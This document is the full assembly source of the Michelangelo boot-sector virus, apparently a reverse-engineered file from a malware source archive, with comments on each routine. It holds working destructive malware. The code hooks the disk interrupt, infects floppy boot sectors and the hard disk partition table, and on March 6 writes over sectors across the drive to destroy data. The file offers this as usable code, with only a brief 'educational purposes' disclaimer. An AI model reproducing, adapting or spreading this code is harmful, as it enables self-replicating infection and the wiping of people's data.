MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.michel.asm
2021-01-12 17:49:21 -06:00

323 lines
18 KiB
NASM

TITLE MICHELANGELO, a STONED - derived Boot Virus
SUBTTL reverse engineered source code for MASM 5.1/6.0
PAGE 60,132
.RADIX 16
IF1
%Out ÉÍ VIRAL SOFTWARE, DO NOT DISTRIBUTE WITHOUT NOTIFICATION Í»
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
%Out º°°°°°°°°°°°°°°°ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿°°°°°°°°°°°°°°°°º
%Out º°°ÄÄÄÄÄÄÄÄÄÄÄÄÄ´ M I C H E L A N G E L O ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ°°º
%Out º°°°°°°°°°°°°°°°ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ°°°°°°°°°°°°°°°°º
%Out º°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°º
%Out ÈÍÍ Layout (C) 1992 164A12565AA18213165556D3125C4B962712 Íͼ
ENDIF
comment #
! !
! MICHELANGELO di Ludovico Buonarroti Simoni, born March 6, 1475, !
! Caprese, Republic of Florence ... !
! This boot block / partition table virus will overwrite most of the !
! data on eiter floppy disks or winchester drives at HIS birthday. !
! !
! This source code may only be used for educational purposes! !
! !
! Do not offend the law by distributing viral or trojan horse soft- !
! ware to anybody who is not aware of the potential danger of the !
! software he receives. !
! !
#
B equ <BYTE>
D equ <DWORD>
O equ <OFFSET>
P equ <PTR>
S equ <SHORT>
T equ <THIS>
v equ <OR>
W equ <WORD>
SAVE MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
IFNB <_X>
IFIDN <_X>,<F>
PUSHF
ELSE
PUSH _X
ENDIF
ENDIF
ENDM
ENDM
REST MACRO _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c
IRP _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c>
IFNB <_X>
IFIDN <_X>,<F>
POPF
ELSE
POP _X
ENDIF
ENDIF
ENDM
ENDM
MOV_S MACRO S1,S2
SAVE S2
REST S1
ENDM
TEXT SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:TEXT,DS:TEXT,ES:TEXT
ORG 0
MICHELANGELO = 0306 ; ... his BCD birthday
;
SECSIZE = 0200 ;
WINCHESTER1 = 80 ;
bREAD = 2 ;
wREAD = bREAD SHL 8 ;
bWRITE = 3 ;
wWRITE = bWRITE SHL 8 ;
;
DTA = T B + SECSIZE ;
;
OR13OFF = T W + 04C ;
OR13SEG = T W + 04E ;
SYSRAM = T W + 413 ;
MOSTAT = T B + 43F ;
;
PARTTBL = T B + 1BE ;
;
OFSFRM0 EQU 7C00 ;
;
START: JMP INIT ;
;
; -----------------------------------------------------------------------------
;
SHDWRELOCOFS = T W + OFSFRM0 ;
RELOCOFS DW FRSTRLCTD ; Used by an indirect far jmp
SHDWRELOCSEG = T W + OFSFRM0 ; to the relocated code.
RELOCSEG DW ? ;
;
HEADS DB ? ;
;
CYLSEG DW ? ;
;
SHDW13OFS = T W + OFSFRM0 ;
BIOS13OFS DW ? ; Holds original (BIOS)
SHDW13SEG = T W + OFSFRM0 ; int 13 vector.
BIOS13SEG DW ? ;
;
; -----------------------------------------------------------------------------
;
I13_ISR: SAVE DS,AX ; INT 13 SR, save regs
OR DL,DL ; drive == A ?
JNZ I13_EX ; jmp if not
XOR AX,AX ; DS = 0
MOV DS,AX ;
TEST B P [MOSTAT],01 ; test diskette motor status:
JNZ I13_EX ; jmp if motor is already on
REST AX,DS ;
SAVE F ; call old interrupt 13
CALL D P CS:[BIOS13OFS] ; routine
SAVE F ; save FLAGS
CALL TstInfF ; test & infect if necessary
REST F ; restore FLAGS
RETF 2 ; return, preserve FLAGS
;
I13_EX: REST AX,DS ; restore regs, jmp to old int
JMP D P CS:[BIOS13OFS] ; 13h routine
;
TstInfF: SAVE AX,BX,CX,DX,DS,ES,SI,DI ;
MOV_S DS,CS ; ES = DS = CS;
MOV_S ES,CS ;
MOV SI,0004 ; SI = 4 (maxretry counter)
@@: MOV AX,wREAD v 1 ; AX : read one sector
MOV BX,O DTA ; BX : ... to buffer at CS:200
MOV CX,0001 ; CX : ... cylinder 0, sector 1
XOR DX,DX ; DX : ... drive 0, head 0
SAVE F ; call old int13 routine by
CALL D P [BIOS13OFS] ; simulating an interrupt
JNB @F ; jmp if there isn't an error,
XOR AX,AX ; else reset disk system ...
SAVE F ;
CALL D P [BIOS13OFS] ;
DEC SI ; decrement maxretry counter
JNZ @B ; try it again if not zero,
JMP S TstInfF_EX ; else jmp to exit in haste.
;
@@: XOR SI,SI ; boot sector has been read,
CLD ; now test if disk already has
LODSW ; been infected. Assume infect-
CMP AX,[BX] ; ion if the first 4 bytes of
JNZ @F ; MICHI and the boot sector are
LODSW ; identical ...
CMP AX,[BX+02] ;
JZ TstInfF_EX ; exit, disk already infected
@@: MOV AX,wWRITE v 1 ; AX : Write one sector
MOV DH,01 ; DH : Head 1
MOV CL,03 ; CL : Sector 3
CMP B P [BX+15],0FDH ; adjust CL to E if the MEDIA ID
JZ @F ; field of the original boot
MOV CL,0E ; sector is not FD (5.25",360K)
@@: MOV [CYLSEG],CX ; store CX
SAVE F ; and write the original boot
CALL D P [BIOS13OFS] ; sector to the floppy disk
JB TstInfF_EX ; if an error occured,
MOV SI,O PARTTBL + SECSIZE ; exit in haste.
MOV DI,O PARTTBL ; Copy the last bytes of
MOV CX,0021 ; the original boot sector to
CLD ; the end of MICHI
REP MOVSW ;
MOV AX,wWRITE v 1 ; ... and write it to the boot
XOR BX,BX ; sector of the disk.
MOV CX,0001 ;
XOR DX,DX ;
SAVE F ;
CALL D P [BIOS13OFS] ;
TstInfF_EX: REST DI,SI,ES,DS,DX,CX,BX,AX ; restore regs
RET ; ... return
;
; -----------------------------------------------------------------------------
;
INIT: XOR AX,AX ; Set DS and SS to 0000,
MOV DS,AX ; initialize SP to 7C00.
CLI ; That's because the boot
MOV SS,AX ; sector will loaded into
MOV AX,OFSFRM0 ; memory at 0:7C00 on every
MOV SP,AX ; IBM clone ...
STI ;
;
SAVE DS,AX ; save (0000:7C00) on stack
;
MOV AX,[OR13OFF] ; Read old interrupt 13h vector
MOV [SHDW13OFS],AX ; and save it
MOV AX,[OR13SEG] ;
MOV [SHDW13SEG],AX ;
;
MOV AX,[SYSRAM] ; Substract 2 from base memory
DEC AX ; size variable in BIOS data
DEC AX ; area
MOV [SYSRAM],AX ;
;
MOV CL,06 ; ES = AX = segment part of huge
SHL AX,CL ; ptr to area 2KB below last
MOV ES,AX ; base memory location
;
MOV [SHDWRELOCSEG],AX ; Store seg for ind far jmp
; to relocated code
MOV AX,O I13_ISR ; Store ptr to new interrupt
MOV [OR13OFF],AX ; 13 service routine to
MOV [OR13SEG],ES ; interrupt table,
MOV CX,O PARTTBL ; Relocate code,
MOV SI,OFSFRM0 ;
XOR DI,DI ;
CLD ;
REP MOVSB ;
JMP D P CS:[SHDWRELOCOFS] ; Jmp to FRSTRLCTD (relo-
; cated code)(BUGGY)
;
FRSTRLCTD: XOR AX,AX ; Reset the disk system
MOV ES,AX ;
INT 13 ;
MOV_S DS,CS ; ES = 0; DS = CS;
MOV AX,wREAD v 1 ; AH = 'Read', AL = # to read
MOV BX,OFSFRM0 ; ES:BX = 0:7C00 = xfer address
MOV CX,[CYLSEG] ; CH = cylinder #, CL = sector #
;
CMP CX,+07 ; Booted from winchester drive?
JNZ @F ; jmp if not
MOV DX,0000 v WINCHESTER1 ; DH = head 0, DL = drive C
INT 13 ; read the original boot sector
JMP S BOOTNOW ; and jmp
;
@@: MOV CX,[CYLSEG] ; adjust cylinder/sector #s
MOV DX,0100 ; DH = head 1, DL = drive A
INT 13 ; and read the sector ...
JB BOOTNOW ; (jmp on error, else continue)
MOV_S ES,CS ; ES = CS;
MOV AX,wREAD v 1 ; read partition table of 1st
MOV BX,O DTA ; hard disk into buffer located
MOV CX,0001 ; just after the relocated code
MOV DX,0000 v WINCHESTER1 ;
INT 13 ;
JB BOOTNOW ; (jmp on error, else continue)
XOR SI,SI ;
CLD ; test if hard disk is already
LODSW ; infected by comparing the 1st
CMP AX,[BX] ; four bytes, if these are
JNZ INFECT_PARTTBL ; identical assume that the
LODSW ; hard disk already is infected
CMP AX,[BX+02] ; and continue, else jmp to
JNZ INFECT_PARTTBL ; infect procedure
;
BOOTNOW: XOR CX,CX ; read date from real time clock
MOV AH,04 ; (will _not_ work on old BIOSes
INT 1A ; that do not implement it)
CMP DX,MICHELANGELO ; jmp if today is the
JZ BIRTHDAY ; birthday of MICHELANGELO
RETF ; 'return' to original boot sec-
; tor code
;
; -----------------------------------------------------------------------------
;
BIRTHDAY: XOR DX,DX ; DH = head 0; DL = drive A
MOV CX,0001 ; CH = cylinder 0; CL = sector 1
BIRTHDAY_LOOP: MOV AX,wWRITE v 9 ; AH = 'Write'; AL = # of sectrs
MOV SI,[CYLSEG] ; adjust AL ( # of sectors) and
CMP SI,+03 ; DL (drive code) depending on
JZ @F ; the type of the current boot
MOV AL,0E ; disk
CMP SI,+0E ;
JZ @F ;
MOV DL,WINCHESTER1 ;
MOV B P [HEADS],04 ;
MOV AL,11 ;
@@: MOV BX,5000 ; ES:BX -> 'Buffer' = 5000:5000
MOV ES,BX ;
INT 13 ;
JNB @F ;
XOR AH,AH ; reset disk system if an error
INT 13 ; occured
@@: INC DH ; increment head (DH)
CMP DH,[HEADS] ; head < maxhead? continue if
JB BIRTHDAY_LOOP ; equal, else loop
XOR DH,DH ;
INC CH ; increment cylinder and loop
JMP BIRTHDAY_LOOP ; ( goodbye data - cu never )
;
; -----------------------------------------------------------------------------
;
INFECT_PARTTBL: MOV CX,0007 ; It's an HD, take sector 7 to
MOV [CYLSEG],CX ; save the original partition
MOV AX,wWRITE v 1 ; table and write it to disk
MOV DX,0000 v WINCHESTER1 ;
INT 13 ;
JB BOOTNOW ; jmp on error
MOV SI,O PARTTBL + SECSIZE ; copy partition informa-
MOV DI,O PARTTBL ; tion to the end of MICHI
MOV CX,0021 ;
REP MOVSW ;
MOV AX,wWRITE v 1 ; and write MICHI to the first
XOR BX,BX ; sector of the hard disk ...
INC CL ;
INT 13 ;
JMP BOOTNOW ;
;
; -----------------------------------------------------------------------------
;
ORG SECSIZE - 2 ; Bootblock / partition table /
DB 055,0AA ; ROM signature
;
; -----------------------------------------------------------------------------
TEXT ENDS
END START